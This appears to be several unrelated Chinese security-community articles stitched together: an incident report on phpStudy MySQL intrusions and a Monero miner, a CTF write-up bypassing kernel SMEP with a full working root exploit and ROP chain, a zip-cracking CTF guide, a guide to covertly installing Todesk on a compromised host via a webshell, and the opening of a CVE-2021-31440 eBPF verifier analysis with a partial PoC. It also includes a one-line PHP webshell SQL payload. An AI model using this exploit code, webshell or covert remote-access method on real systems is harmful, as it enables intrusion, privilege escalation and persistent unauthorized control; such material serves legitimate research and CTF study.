phpMyAdmin，且 MySQL 的 root 用户有 50% 为弱口令。由此可以推断可能导致入侵的原因：
用户在自己云主机通过 phpStudy 一键部署 PHP 环境，默认情况下包含 phpinfo 及 phpMyAdmin 并且任何人都可以访问，同时安装的
MySQL 默认口令为弱口令，于是黑客通过 phpMyAdmin 使用弱口令登录 MySQL，接着利用 MySQL 的一些手段获取到系统权限。
常见利用 MySQL 获取系统权限一般有如下几个方式：
* 利用 `SELECT "<?system("$_POST[cmd]);?>" INTO OUTFILE '/path/to/webroot'` 语句、或者 general_log 向 Web 目录写入一个 Webshell。由于 phpStudy 的一些原因，其 PHP 进程执行命令后是一个非常高权限的用户（通常为管理员用户或者是 SYSTEM 权限）。
* 利用 MySQL UDF 来进行命令执行。通常利用 UDF 来执行命令的情况有 PHP 低权限但是 MySQL 是高权限的情况，或者是 PHP 用 disable_functions 限制了调用系统命令执行的方式，所以利用 UDF 来绕过 disable_functions。
这两种手法攻击者都有可能使用，由于攻击者是大批量、持续不断的进行入侵操作，可以推断出攻击者必然是使用了脚本来进行攻击的。
图 1. 攻击者每日成功入侵的机器数量曲线
通过进一步分析调查发现，最终确认攻击者的攻击手法为利用 MySQL 弱口令登录后，修改 general_log 指向 Web 目录下的 sheep.php
的文件，然后利用 shell 创建帐号。下表是 general_log 中时间和帐号创建时间的对应关系，佐证了攻击者的攻击手法。
攻击者使用的 SQL 语句如下图所示：
图2. 攻击者使用的 SQL 语句 payload
图3. sheep.php文件内容
可见，攻击者是针对性的对于 phpStudy 进行攻击。由于 phpStudy 默认安装的 MySQL 密码为 root / root，且开启在外网
3306 端口，在未设置安全组，或者安全组为放通全端口的情况下，极易受到攻击。
攻击者在创建完帐户后，会将挖矿木马上传到路径
C:\ProgramData\Zational\Zational.exe（MD5：cb6f37e76dd233256f1c3303b4e99b1c）并运行。该文件是一个门罗币挖矿程序，
Github 地址为：<https://github.com/xmrig/xmrig>。
图4. 挖矿进程
### 三、入侵溯源
黑客在创建了隐藏帐号之后会通过隐藏帐号登录并植入挖矿程序，通过腾讯云云镜捕获的“vusr_dx$”帐号异常登录行为进行来源 IP 归类统计，得到将近60个
IP 地址，包含除了来自于不同 IDC 的 IP，还有部分来自江苏盐城疑似黑客真实 IP：
图5. 部分异常登录来源IP
初步可以怀疑这批是黑客所控制肉鸡甚至可能包含有黑客真实 IP，进一步针对这些 IP 进行信息收集分析，发现 `103.214.*.*` 存在
phpMyAdmin，同时 MySQL 也存在弱口令，且攻击者在 Web 目录下留下了后门，当即猜测这是攻击者的一台跳板机。进一步分析，获得了黑客的后门帐号
vusr_dx$ 的密码：admin@6 ** _*_** *。
进一步针对对于挖矿木马行为进行分析后，发现此木马会连接到域名为gowel.top（IP：202.168.150.44）的代理矿池，由于相关配置没有指定专用矿池用户
token 或者用户名，可以认为这是一个私有的矿池地址，同时我们发现， hxxp://gowel.top:80/ 是一个
HFS，里面有我们获取到的挖矿木马文件。
图6. 该域名80端口HFS截图
由于该域名 whois 信息是域名注册商而非黑客本身，无法通过 whois 获取注册者相关信息。
进一步通过遍历异常登录来源 IP 查询黑客画像数据，最终发现一个关联 QQ 信息可能为黑客 QQ，QQ 号为12 ** _*_** **，通过搜索引擎搜索该
QQ 号也能证明该 QQ 号主人在进行一些可能的黑客行为：
图7. 对应QQ号搜索引擎查询结果
查询对应QQ资料：
图8. 对应QQ号资料卡
### 四、解决方案
针对此类攻击，通用的解决方案如下：
1. 在腾讯云控制台设置 CVM 的安全组，尽量不要选用放通全端口，而是针对性的设置需要外网访问的端口，比如 HTTP 的默认端口 80、RDP 的默认端口 3389；
2. 对于 phpStudy 这种集成环境，在安装结束后应修改 MySQL 密码为强密码，不要使用 root / root 或者 root / 123456 等弱口令；
3. 可以选择安装腾讯云云镜，云镜的主机漏洞检测功能支持支持 Windows 隐藏帐户检测、MySQL 弱口令检测等漏洞检测，同时也支持黑客植入的 Webshell 检测。
图9. 云镜对于受攻击主机的漏洞扫描报警
### 五、IOCs
MD5：cb6f37e76dd233256f1c3303b4e99b1c
矿池地址：hxxp://gowel.top:11588
* * * | 社区文章 |
# 简介
smep的全称是`Supervisor Mode Execution
Protection`,它是内核的一种保护机制,作用是当CPU处于ring0模式的时候，如果执行了用户空间的代码就会触发页错误,很明现这个保护机制就是为了防止ret2usr攻击的....
这里为了演示如何绕过这个保护机制,我仍然使用的是CISCN2017 babydriver,这道题基本分析和利用UAF的方法原理我已经在[kernel pwn
--UAF](https://bbs.pediy.com/thread-252826.htm)这篇文章中做了解释,在这里就不再阐述了,环境也是放在[github](https://github.com/cc-sir/ctf-challenge/tree/master/2017CISCN%20babydriver)上面的,需要的可以自行下载学习....
# 前置知识
## ptmx && tty_struct && tty_operations
`ptmx`设备是`tty`设备的一种,`open`函数被`tty`核心调用,
当一个用户对这个`tty`驱动被分配的设备节点调用`open`时`tty`核心使用一个指向分配给这个设备的`tty_struct`结构的指针调用它,也就是说我们在调用了`open`函数了之后会创建一个`tty_struct`结构体,然而最关键的是这个`tty_struct`也是通过`kmalloc`申请出来的一个堆空间,下面是关于`tty_struct`结构体申请的一部分源码:
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;
tty = kzalloc(sizeof(*tty), GFP_KERNEL);
if (!tty)
return NULL;
kref_init(&tty->kref);
tty->magic = TTY_MAGIC;
tty_ldisc_init(tty);
tty->session = NULL;
tty->pgrp = NULL;
mutex_init(&tty->legacy_mutex);
mutex_init(&tty->throttle_mutex);
init_rwsem(&tty->termios_rwsem);
mutex_init(&tty->winsize_mutex);
init_ldsem(&tty->ldisc_sem);
init_waitqueue_head(&tty->write_wait);
init_waitqueue_head(&tty->read_wait);
INIT_WORK(&tty->hangup_work, do_tty_hangup);
mutex_init(&tty->atomic_write_lock);
spin_lock_init(&tty->ctrl_lock);
spin_lock_init(&tty->flow_lock);
INIT_LIST_HEAD(&tty->tty_files);
INIT_WORK(&tty->SAK_work, do_SAK_work);
tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
return tty;
}
其中`kzalloc`:
static inline void *kzalloc(size_t size, gfp_t flags)
{
return kmalloc(size, flags | __GFP_ZERO);
}
而正是这个`kmalloc`的原因,根据前面介绍的slub分配机制,我们这里仍然可以利用UAF漏洞去修改这个结构体....
这个`tty_struct`结构体的大小是0x2e0,源码如下:
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; // tty_operations结构体
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
而在`tty_struct`结构体中有一个非常棒的结构体`tty_operations`,其源码如下:
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
可以看到这个里面全是我们最喜欢的函数指针....
当我们往上面所`open`的文件中进行`write`操作就会调用其中相对应的`int (*write)(struct tty_struct *
tty,const unsigned char *buf, int count);`函数....
## Smep
现在我们来说一下系统是怎么知道这个`Smep`保护机制是开启的还是关闭的....
在系统当中有一个`CR4寄存器`,它的值判断是否开启`smep`保护的关键，当`CR4寄存器`的第`20`位是1的时候,保护开启;是0到时候，保护关闭:
举一个例子:
当CR4的值为0x1407f0的时候，`smep`保护开启:
$CR4 = 0x1407f0 = 0b0001 0100 0000 0111 1111 0000
当CR4的值为0x6f0的时候，`smep`保护开启:
$CR4 = 0x6f0 = 0b0000 0000 0000 0110 1111 0000
但是该寄存器的值无法通过gdb直接查看，只能通过kernel crash时产生的信息查看,不过我们仍然是可以通过mov指令去修改这个寄存器的值的:
mov cr4,0x6f0
# 思路
因为此题没有开kaslr保护,所以简化了我们一些步骤,但是在此方法中是我们前面的`UAF`,`ROP`和`ret2usr`的综合利用,下面是基本思路:
1. 利用UAF漏洞,去控制利用`tty_struct`结构体的空间,修改真实的`tty_operations`的地址到我们构造的`tty_operations`;
2. 构造一个tty_operations，修改其中的write函数为我们的rop;
3. 利用修改的write函数来劫持程序流;
但是其中需要解决的一个问题是,我们并没有控制到栈,所以在rop的时候需要想办法进行栈转移:
不过我们可以通过调试来想想办法,先把`tty_operations`的内容替换为这个样子:
for(i = 0; i < 30; i++)
{
fake_tty_opera[i] = 0xffffffffffffff00 + i;
}
fake_tty_opera[7] = 0xffffffffc0000130; //babyread_addr
我们先把`tty_operations[7]`的位置替换为`babyread`的地址,然后我们通过调试发现,`rax`寄存器的值就是我们`tty_operations`结构体的首地址:
然后我们可以通过栈回溯,重新在调用`tty_operations[7]`的位置下断点看看:
可以清楚的看到程序的执行流程了,所以我们的就可以在这里进行栈转移操作了,利用这些指令就可以帮我们转移栈了:
mov rsp,rax
xchg rsp,rax
所以最终tty_operations的构造如下:
for(i = 0; i < 30; i++)
{
fake_tty_opera[i] = 0xffffffff8181bfc5;
}
fake_tty_opera[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty_opera[1] = (size_t)rop; //rop链的地址
fake_tty_opera[3] = 0xffffffff8181bfC5; // mov rsp,rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret
为了方便理解,我们把提权,关闭smep等操作都放到rop链里面:
int i = 0;
size_t rop[20]={0};
rop[i++] = 0xffffffff810d238d; //pop_rdi_ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; //mov_cr4_rdi_pop_rbp_ret
rop[i++] = 0x6161616161; //junk
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; //swapgs_pop_rbp_ret
rop[i++] = 0x6161616161;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
其实这个rop链就是比我们的之前的`ret2usr`多了一个`mov_cr4_rdi_pop_rbp_ret`....
# EXP
poc.c:
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void* fake_tty_opera[30];
void shell(){
system("/bin/sh");
}
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
void get_root(){
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main(){
int fd1,fd2,fd3,i=0;
size_t fake_tty_struct[4] = {0};
size_t rop[20]={0};
save_stats();
rop[i++] = 0xffffffff810d238d; //pop_rdi_ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; //mov_cr4_rdi_pop_rbp_ret
rop[i++] = 0x6161616161;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; //swapgs_pop_rbp_ret
rop[i++] = 0x6161616161;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
for(i = 0; i < 30; i++){
fake_tty_opera[i] = 0xffffffff8181bfc5;
}
fake_tty_opera[0] = 0xffffffff810635f5; //pop rax; pop rbp; ret;
fake_tty_opera[1] = (size_t)rop;
fake_tty_opera[3] = 0xffffffff8181bfC5; // mov rsp,rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffff8181bfc5;
fd1 = open("/dev/babydev",O_RDWR);
fd2 = open("/dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_opera;
write(fd2,fake_tty_struct, 32);
write(fd3,"cc-sir",6); //触发rop
return 0;
}
编译:
gcc poc.c -o poc -w -static
运行:
# 总结
这道题其实最关键的是要熟悉内核的执行流程,了解一些关键的结构体以及他们的分配方式;
最后这里说一下找`mov_cr4_rdi_pop_rbp_ret`等这些gadget的小技巧,如果使用ropper或ROPgadget工具太慢的时候,可以先试试用objdump去找看能不能找到:
objdump -d vmlinux -M intel | grep -E "cr4|pop|ret"
objdump -d vmlinux -M intel | grep -E "swapgs|pop|ret"
但是使用这个方法的时候要注意看这些指令的地址是不是连续的,可不可以用;用这个方法不一定可以找到iretq,还是需要用ropper工具去找,但是大多数情况应该都可以找到的: | 社区文章 |
# 【CTF 攻略】CTF比赛中关于zip的总结
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **M4xW4n9**](http://bobao.360.cn/member/contribute?uid=2773429458)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
在CTF比赛的MISC和CRYPTO中，经常要和zip压缩包打交道，这里做一个zip方面的总结。
本文中用到的所有文件和工具都可在这个网盘中找到<http://pan.baidu.com/s/1bWQxyA>
**目录**
**隐写篇**
0x01. 通过进制转换隐藏信息
0x02. 在图片中隐藏压缩包（图种）
**加密篇**
0x03. 伪加密
0x04. 爆破/字典/掩码攻击
0x05. 明文攻击
0x06. CRC32碰撞
**格式篇**
0x07. 修改格式
**0x01. 通过进制转换隐藏信息**
这种方法比较简单，直接拿一道题讲解（题目来自ISCC 2017 Basic-04）。题目给了一个txt文档如下图
经过观察，所有数据都在16进制能表示的范围之内，因此先尝试使用十六进制编码解密，python脚本如下：
运行结果如下，虽然存在大量乱码，但还是能看到flag.txt，因此猜测txt中的这段字符是zip包的16进制表示（同时开头的PK也暗示这是一个zip包，PK是zip格式发明者Phil
Katz的名称缩写，zip的前两个字母就用了PK）
导入到16进制编辑器中，这里用010editor做演示
导入后选择 Save As（快捷键 ctrl + shift +
s），给新文件命名时加上后缀.zip，保存后发现zip文件是正常的，因此证明思路正确，此题的后续过程请继续阅读这篇文章
另：除了16进制的编码转换，有时还会遇到2进制编码的转换，思路相同，不再复述
**0x02. 在图片中隐藏压缩包（**[ **图种**](http://baike.baidu.com/item/%E5%9B%BE%E7%A7%8D)
**）**
这种方法大概是zip中最常见的，多用于在一张图片中隐藏一个压缩包，这种方法的原理是：以jpg格式的图片为例，一个完整的 JPG 文件由 FF D8
开头，FF D9结尾，图片浏览器会忽略 FF D9 以后的内容，因此可以在 JPG 文件中加入其他文件。
也以一道题为例为例（ISCC 2017 Basic-07），对于这种隐写最简单的方法是使用Kali下的binwalk进行检测，binwalk 图片名
如下，检测出图片中存在压缩包
分离这个压缩包也有至少两种方法：
1\. 利用Linux下的foremost工具， foremost 图片名
如下，foremost默认的输出文件夹为output，在这个文件夹中可以找到分离出的zip（推荐使用这种方法，因为foremost还能分离出其他隐藏的文件）
2\. 更简单粗暴的方法是直接把图片的后缀改为.zip，然后解压即可（这种方法虽然简单快速，但如果隐写了多个文件时可能会失败）
另：本题后续步骤为构造字典，爆破握手包
**0x03. 伪加密**
Zip伪加密与zip的文件格式有关（zip的格式详解请翻到本文的最后0x07部分），zip中有一位是标记文件是否加密的，如果更改一个未加密zip包的加密标记位，那么在打开压缩包时就会提示该文件是加密的。
对于伪加密有以下几种方法：
1\. 在Mac OS及部分Linux（如Kali）系统中，可以直接打开伪加密的zip压缩包
2\. 使用检测伪加密的ZipCenOp.jar，解密后如果能成功打开zip包，则是伪加密，否则说明思路错误
3\. 使用16进制编辑器改回加密标记位
以HBCTF的一道题讲解这几种方法：
如上，尝试解压压缩包时提示有密码，根据题干：比爆破更好的方法推测为伪加密，用三种方法来解此题：
1\. 用除windows外的系统直接打开压缩包
在Mac
OS和部分Linux系统（如Kali）中，右键解压可直接打开伪加密的zip压缩包，笔者暂未明确何种Linux能打开伪加密压缩包，如有传授，不胜感激！
2\. 使用ZipCenOp.jar（需java环境） 使用方法
java -jar ZipCenOp.jar r xxx.zip
经ZipCenOp.jar解密后的压缩包可直接打开
推荐使用这种方法，最便捷
3\. 用16进制编辑器修改加密标记位
如上图，修改加密标记位为00，保存，即可打开压缩包（关于zip文件的结构，请翻到本文最末0x07部分）
**0x04. 爆破/字典/掩码攻击**
把这三种归位一类是因为这三种方法在本质上都是逐个尝试，只不过待选密码的集合不同
1\. 爆破：顾名思义，逐个尝试选定集合中可以组成的所有密码，知道遇到正确密码
2\. 字典：字典攻击的效率比爆破稍高，因为字典中存储了常用的密码，因此就避免了爆破时把时间浪费在脸滚键盘类的密码上
3\. 掩码攻击：如果已知密码的某几位，如已知6位密码的第3位是a，那么可以构造 ??a???
进行掩码攻击，掩码攻击的原理相当于构造了第3位为a的字典，因此掩码攻击的效率也比爆破高出不少
对这一类的zip问题，推荐windows下的神器AZPR
举例如下：
1\. 对爆破，以ISCC 2017 Basic-08为例，选定暴力攻击、字符集和长度后进行爆破
点击开始，进行爆破，如下图，在4ms内就找到了密码为BIT
另：此题后续为简单的base64解密；爆破在密码长度小于6位时较快，因此如果在7位之内没有爆破出结果时，基本就可以考虑换个方法了；此题的正规解法是培根密码的转换
2\. 字典，还以之前的ISCC 2017
Basic-07举例，从图片中分离出一个加密的zip压缩包，爆破无果后考虑字典攻击（可从网上下载字典，但大多数题目需要自己构造字典，文末的网盘连接里提供了常见的字典）
字典攻击的结果如下图，在字典选择合适的情况下，用很短的时间就能找到密码
继续以此题为例，解压后的压缩包有一个txt文档和一个握手包，txt内容如下：
因此可知握手包的密码为ISCC****的形式（*代表大写字母或数字），自己写程序构造字典
运行此程序得到字典如下：
之后用aircrack-ng来选中字典跑除握手包的密码如下图，不再详述
3\. 掩码攻击，以ISCC 2017 Misc-06为例，题目给了一个jpg图片，用0x02中的方法分离出加密的压缩包，根据题目提示：注意署名，
构造????LiHua的掩码（?可在自己定义的字符集中任意选择）进行掩码攻击，如下图：
攻击结果如下，只耗费了很少的时间就找到了密码
**0x05. 明文攻击**
明文攻击是一种较为高效的攻击手段，大致原理是当你不知道一个zip的密码，但是你有zip中的一个已知文件（文件大小要大于12Byte）时，因为同一个zip压缩包里的所有文件都是使用同一个加密密钥来加密的，所以可以用已知文件来找加密密钥，利用密钥来解锁其他加密文件，更详细的原理请读者自行谷歌
举个例子，已知 明文攻击.zip 中存在的文件 明文.txt，
因此将 明文.txt 压缩，这里需要判断明文压缩后的CRC32是否与加密文件中的一致，若不一致可以换一个压缩工具。
攻击过程如下：
点击开始，很快就恢复了密码
另：当明文的大小比较小时，攻击速度会比较慢；即使有时没有恢复密码，也可以使用明文攻击，最后点保存还是能得到压缩包里内容的。
**0x06. CRC32碰撞**
CRC32:CRC本身是“[冗余校验码](http://baike.baidu.com/item/CRC32)”的意思，CRC32则表示会产生一个32bit（8位十六进制数）的校验值。
在产生CRC32时，源数据块的每一位都参与了运算，因此即使数据块中只有一位发生改变也会得到不同的CRC32值，利用这个原理我们可以直接爆破出加密文件的内容
还是以之前HBCTF伪加密那道题为例，另一种解法就是CRC32碰撞，打开压缩包，可以看出压缩文件 flag6位数
的CRC32值为0x9c4d9a5d
因此写出碰撞的脚本如下：
要特别注意
if (binascii.crc32(str(i)) & 0xffffffff) == crc:
在 Python 2.x 的版本中，binascii.crc32 所计算出來的 CRC 值域为[-2^31, 2^31-1]
之间的有符号整数，为了要与一般CRC 结果作比对，需要将其转为无符号整数，所以加上& 0xffffffff来进行转换。如果是 Python 3.x
的版本，其计算结果为 [0, 2^32-1] 间的无符号整数，因此不需额外加上& 0xffffffff 。
脚本的运行结果如下，即为压缩文件的内容：
再举另一个bugku中的例子，下载下来的文件是68个压缩包，并且根据binwalk的检查结果，每个压缩包里都有一个大小为4个字节，名为out.txt的压缩文件
用如下的脚本碰撞出所有压缩包中的数据：
此题较为繁琐，之后的步骤不再展开
另：限于CPU的能力，CRC碰撞只能用于压缩文件较小的情况
**0x07. 修改格式**
这种情况花样较多，难以做一个详细的总结，因此只列举最常见的缺少文件头或文件尾。
放一个zip文件格式讲的较清楚的[链接](http://blog.csdn.net/ETF6996/article/details/51946250)，通过对zip文件格式的了解，可以解释之前伪加密的问题，同时也可以对缺少文件头或文件尾有更直观的认识。
如上为正常zip，缺头zip和缺尾zip的binwalk扫描结果，根据扫描结果用16进制编辑器添加文件头或文件尾，即可修复zip。
**总结**
Zip不仅是我们生活中常用到的一种文件格式，在CTF中也经常遇到，这里做了一个关于CTF中zip的总结，如果对读者有帮助，鄙人不胜荣幸。 | 社区文章 |
# 简单实用远控小工具Todesk
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前写过anydesk远控，然后在一次测试中，在客户那边看到一个远控软件–Todesk，然后就去官网下载下来研究了一下。
## 准备工作
在开始测试之前先查看官方文档。
支持静默安装
可设置安全密码
我们看到todesk支持命令行静默安装，和设置安全密码，而安全密码和临时密码都可以进行连接。
## 本地测试
环境：windows2012R2。
工具：冰蝎3、todesk安装包。
我们在本地搭建环境进行测试，这里利用冰蝎作为测试工具。
todesk1.exe /S 静默安装
这边执行完成后我们来到本地发现已经安装完成，安装路径在
`C:\Program Files (x86)\ToDesk\<br/>`
现在我们就可以根据官方的使用示例来查看状态以及设置安全密码, 如下图。
新建2.bat文件内容为上图中的内容，然后在冰蝎中执行，不出意外的话会设置好安全密码以及输出连接的识别码。
然后再冰蝎中执行时我们发现，虽然正常执行了也输出了识别码，但是输出在目标机器上我们在冰蝎中看不到，所以这里有两种解决办法：
1、使用虚拟终端
2、输出结果到文件然后读取
到此我们读取到了连接需要的识别码且已经设置好了安全密码，直接连接。
## 意外情况
到这里已经基本完成了，但是测试环境毕竟是理想环境，接下来再说一些遇到过的情况。
##### **1、目标机器已安装了todesk**
这种意外情况对于我们来说就挺，应该是那种想到了开心的事的感觉。其实在这里要说的是另一种方法获取识别码以及连接密码，我们只需要找到todesk的根目录即可，然后查看config.ini，在cinfig.ini可以找到识别码以及加密的密码。
对于加密的密码我们可以复制到本地的todesk配置文件里，替换我们本地的密码，然后重新打开todesk，这样就能得倒对方机器的连接密码。
成功替换得到密码。
##### **2、极端情况**
在之前的一次测试中目标机器可以成功安装，但是不能设置安全密码，并且读取的出来的密码也不是正常的6位密码，这里可以直接kill
todesk进程（一定要杀ToDesk_Service.exe）然后给目标机器修改config文件，替换成我们设置的密码和上一步完全反过来了，再重启todesk。
## 总结
todesk只是作为一个简单的小工具，研究的目的是为了应对一些特殊的环境，而且缺点也有很多：需要管理员权限，目标机器锁屏需要密码，体积太大，容易被发现等问题。 | 社区文章 |
# CVE-2021-31440：Linux 内核eBPF提权漏洞分析（Pwn2Own 2021）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这个洞我在年初时发现的，因为能提权便留在手中，结果不幸被Pwn2Own给撞了，现在ZDI官方博客也出了分析，我就将之前自己记录的分析发一下。当时发现这个洞，是看到下面commit修复的一个漏洞：
<https://github.com/torvalds/linux/commit/b02709587ea3d699a608568ee8157d8db4fd8cae#diff-edbb57adf10d1ce1fbb830a34fa92712fd01db1fbd9b6f2504001eb7bcc7b9d0>
补丁解释如下：
bpf: Fix propagation of 32-bit signed bounds from 64-bit bounds.
The 64-bit signed bounds should not affect 32-bit signed bounds unless the
verifier knows that upper 32-bits are either all 1s or all 0s. For example the
register with smin_value==1 doesn't mean that s32_min_value is also equal to 1,
since smax_value could be larger than 32-bit subregister can hold.
The verifier refines the smax/s32_max return value from certain helpers in
do_refine_retval_range(). Teach the verifier to recognize that smin/s32_min
value is also bounded. When both smin and smax bounds fit into 32-bit
subregister the verifier can propagate those bounds.
漏洞代码认为有符号64位最小值为1时，32位最小值也为1，其实不一定，64位的最小值和32位的最小值并一定相等，两者并没有关系。例如64位有符号数的最小值为0x1ffffffff，而32位最小值就为-1了。可以联想到无符号数也是这种情况，比如无符号64位最小值也不一定等于32位无符号的最小值，例如64位无符号的最小值为0x100000000，32位无符号的最小值就为0。但看了代码，发现但开发者并没有补，这漏洞本质原因是对64位范围的判断影响到了32位范围。
## 漏洞影响
影响Linux kernel 5.7 及以上
目前还影响最新版的Ubuntu 20.04/20.10，应该还有其它发行版，没有一一测试了。
## 漏洞分析
漏洞调用链如下：
#0 __reg32_deduce_bounds (reg=reg@entry=0xffff88801f9b0800) at kernel/bpf/verifier.c:1254
#1 0xffffffff81157c67 in __reg_deduce_bounds (reg=0xffff88801f9b0800) at kernel/bpf/verifier.c:1387
#2 __reg_combine_64_into_32 (reg=reg@entry=0xffff88801f9b0800) at kernel/bpf/verifier.c:1387
#3 0xffffffff8115818d in reg_set_min_max (true_reg=0xffff88801f9b2000, false_reg=false_reg@entry=0xffff88801f9b0800, val=<optimized out>, val32=2415919103,
opcode=opcode@entry=176 '\260', is_jmp32=is_jmp32@entry=false) at kernel/bpf/verifier.c:7750
#4 0xffffffff81166397 in check_cond_jmp_op (insn_idx=0xffff88800324e000, insn=0xffffc9000002d0e8, env=0xffff88800324e000) at kernel/bpf/verifier.c:8142
#5 do_check (env=0xffff88800324e000) at kernel/bpf/verifier.c:10169
#6 do_check_common (env=env@entry=0xffff88800324e000, subprog=subprog@entry=0) at kernel/bpf/verifier.c:12042
#7 0xffffffff81169909 in do_check_main (env=0xffff88800324e000) at kernel/bpf/verifier.c:12108
漏洞点在于__reg_combine_64_into_32 函数：
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
__mark_reg32_unbounded(reg);
if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) {
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
if (__reg64_bound_u32(reg->umin_value))
reg->u32_min_value = (u32)reg->umin_value;
if (__reg64_bound_u32(reg->umax_value))
reg->u32_max_value = (u32)reg->umax_value;
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
*/
__reg_deduce_bounds(reg);
__reg_bound_offset(reg);
__update_reg_bounds(reg);
}
构造Poc来验证：
BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd),
BPF_MAP_GET(0,BPF_REG_5),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
BPF_MOV64_REG(BPF_REG_0, BPF_REG_5),
BPF_JMP_IMM(BPF_JSGE, BPF_REG_0, 1, 1),
BPF_EXIT_INSN(),
BPF_LD_IMM64(BPF_REG_2, 0x8fffffff),
BPF_JMP_REG(BPF_JGT, BPF_REG_0, BPF_REG_2, 1),
